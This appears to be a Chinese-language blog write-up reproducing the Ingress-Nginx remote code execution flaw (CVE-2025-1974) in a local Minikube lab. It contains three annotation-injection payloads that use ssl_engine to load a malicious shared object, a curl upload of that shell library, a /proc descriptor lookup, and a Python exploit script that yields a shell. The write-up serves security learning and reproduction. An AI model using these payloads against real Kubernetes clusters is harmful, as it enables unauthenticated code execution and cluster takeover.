近期,Ingress-Nginx爆出CVSS评分高达9.8的RCE漏洞,这里对其做了漏洞复现和原理分析。

主要是分享会看到l1nk的分享,觉得很有意思,来学习一下。

参考了

1
2
3
https://forum.butian.net/article/686

https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247510464&idx=1&sn=589619486495a9436e8a5e728826c914&chksm=e93c65043fa6abecb1a4d293a7a3905003241e0cb7daca4fbcdcca0de40c8bdbe3232bf90811&forbs=1&scene=126&subscene=91&sessionid=1743470868&flutter_pos=1&clicktime=1743470870&enterid=1743470870&finder_biz_enter_id=5&ascene=56&fasttmpl_type=0&fasttmpl_fullversion=7668585-zh_CN-zip&fasttmpl_flag=0&realreporttime=1743470870738#rd

以及l1nk的分享

背景:

Ingress-Nginx是什么

Ingress是Kubernetes中的一种API对象,用于管理外部访问集群内服务的规则,提供HTTP/HTTPS路由、负载均衡和基于名称的虚拟主机等功能。它充当集群入口流量的统一控制层,解耦服务暴露与路由策略。

而 Ingress-nginx 是一个基于NGINX的 Kubernetes Ingress 控制器,用于管理集群入口流量。它通过监听 Kubernetes API 的 Ingress 资源规则,动态配置 NGINX 以实现 HTTP/HTTPS 路由、负载均衡、TLS 终止和路径重写等功能,是 Kubernetes 中广泛使用的 Ingress 解决方案之一。

好吧 感觉陌生名词有点多 之前没太学过((( 一个一个先简单了解一下吧。

Kubernetes:
就是我们常说的k8s,是一个开源的容器编排平台,主要用于自动化应用程序的部署、扩展和管理。简单来说,Kubernetes 就是一个帮助管理和运行很多小程序(通常是容器)的平台。

Ingress 控制器 (Ingress Controller):

在 Kubernetes 集群中,Ingress 控制器是负责管理外部流量进入集群的一种机制。它的作用是根据集群内的路由规则(Ingress 资源),决定如何将外部请求路由到集群中的服务。

简单来说,Ingress 控制器就像一个“门卫”,它负责把外部的请求通过规则引导到正确的地方。比如,当你访问一个网站时,Ingress 控制器决定把这个访问请求转发到集群中合适的服务。

之前没有彻底学习过k8s,借此机会学习一下))

环境搭建

1、使用 Minikube 简单创建一个集群

1
minikube start

启动 Minikube 集群并且初始化 Kubernetes 环境。Minikube 会为你创建一个虚拟机,默认使用 Docker 驱动,启动 Kubernetes 控制平面和节点。在这个过程中,Minikube 会自动下载所需的 Kubernetes 镜像,并配置集群。

2、验证 Kubernetes 集群状

1
kubectl cluster-info


3、下载 Ingress Nginx 控制器的部署文件

1
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.2/deploy/static/provider/cloud/deploy.yaml

下载 Ingress Nginx 控制器的部署文件(deploy.yaml)下载到本地。这个文件定义了 Ingress Nginx 控制器的 Kubernetes 部署、服务等配置。

4、替换镜像地址

1
sed -i '' -e 's#registry.k8s.io/ingress-nginx/controller:v1.11.2@sha256:d5f8217feeac4887cb1ed21f27c2674e58be06bd8f5184cacea2a69abaf78dce#registry.aliyuncs.com/google_containers/nginx-ingress-controller:v1.11.2#g' deploy.yaml

sed:这是一个流编辑器,用于在文件中进行文本替换。在这里,它将 deploy.yaml 文件中所有关于 ingress-nginx/controller 镜像的地址替换为阿里云的镜像地址。这样做可以加速镜像拉取,避免访问速度慢或被墙的问题

1
sed -i 's#registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3@sha256:a320a50cc91bd15fd2d6fa6de58bd98c1bd64b9a6f926ce23a600d87043455a3#registry.aliyuncs.com/google_containers/kube-webhook-certgen:v1.4.3#g' deploy.yaml

5、应用部署文件到 Kubernetes 集群

1
kubectl apply -f deploy.yaml

kubectl apply -f deploy.yaml:该命令将 deploy.yaml 文件中的 Kubernetes 资源应用到集群中。这里,deploy.yaml 定义了 Kubernetes 集群中 Ingress Nginx 控制器的部署(Pod)、服务(Service)等资源。执行该命令后,Ingress Nginx 控制器会被部署到你的 Minikube 集群中。

6、验证

1
kubectl get all -n ingress-nginx

太菜了不了解这个东西 所以配置的时候,ai含量较高((

漏洞利用

这部分是苦学一个礼拜之后的成果,所以熟练度有了较大的提高(((

漏洞原理:
这个漏洞主要是由于在ingress-nginx-controller-admission 无需认证即可通过集群中的任意 pod 网络访问,攻击者可以通过向 ingress-nginx 发送特制的 AdmissionReview 请求,然后 ingress-nginx会临时写入一个配置文件,调用nginx -t来验证正确性。

这里利用了一个点就是nginx在接受大请求时,会把请求写入一个临时文件,然后快速删掉,可以通过/proc/{pid}/fd/{fd} 来读取这个文件。

因此我们的总体思路就是在普通pod1里面写入so文件,向ingress-nginx-controller的pod2发送请求,为了方便在本地测试,我们在pod2中提权可以直接查看fd和pid号,然后进行攻击。

1
kubectl edit deploy ingress-nginx-controller -n ingress-nginx

修改 spec.template.spec.containers.args.securityContext 处配置,修改后的 securityContext 配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
privileged: true
readOnlyRootFilesystem: false
runAsNonRoot: false
runAsUser: 0
seccompProfile:
type: RuntimeDefault

这里注意yaml只支持空格不支持tab,用tab会报错

这里配置注入的点主要是可以利用CVE-2025-24514 - auth-url injection、CVE-2025-1097 - auth-tls-match-cn injection、CVE-2025-1098 – mirror UID injection

auth-url

1
2
3
"annnotations": {   
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\n\nssl_engine foobar;\n\n"
}

auth-tls-match-cn

1
2
3
4
"annotations": {   
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine foobar;\n#",
"nginx.ingress.kubernetes.io/auth-tls-secret": "kube-system/cillium-tls"
}

mirror UID

1
2
3
4
5
6
"metadata": {
"uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
}
}

ssl_engine 指令本来是用于指定一个 ssl 加速引擎,可能是一个 so 文件,这里用来加载我们的恶意 so 文件

影响版本

ingress-nginx≤ 1.11.4
ingress-nginx=1.12.0

漏洞复现

首先利用
https://github.com/yoshino-s/CVE-2025-1974/blob/main/shell.c
生成so文件,还要用到这个项目中的 req.json

但是有一个非常恶心的点就是,由于我本地是用minikube搭建的,minikube 是基于 docker 的,本地搭建的话默认是aarch,但是这个生成的so文件非常贴心的帮我在make时就提前搭好了docker,是amd架构的,与我本地的aarch不一样,就造成了失败。

因此需要在文件里将相关地方改成arm架构,太恶心了呜呜呜

这里非常感谢我最爱的男朋友4nsw3r的帮助,在着急去约会的驱使下跟我一起排查出了漏洞。

然后kubectl cp 到普通pod1里,这里是本地配置就不进行端口转发了

发送大请求上传 so 文件

1
curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"


查看fd和pid

1
ls /proc/*/fd/* -al | grep client


利用l1nk师傅给的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json
import requests

admission_url = 'https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses'

with open("req.json", "r") as f:
data = json.load(f)

def load():
fdpath = '/proc/126/fd/33'
data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io/auth-url"] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (fdpath,)
try:
res = requests.post(admission_url, json=data, verify=False)
print("[+]testing" + " " + fdpath)
print(res.text)
except Exception as e:
print("[!]" + " error parsing response")
print(e)

load()


执行脚本,获取shell

中途也利用过

1
https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps

进行过盲打 但是一直利用失败,最后还是采取了l1nk师傅的思路。

总结

学习了一下k8s的基本使用,也算是小小的入门了一下云安全,在这里非常感谢了l1nk对我问题的耐心解答!!!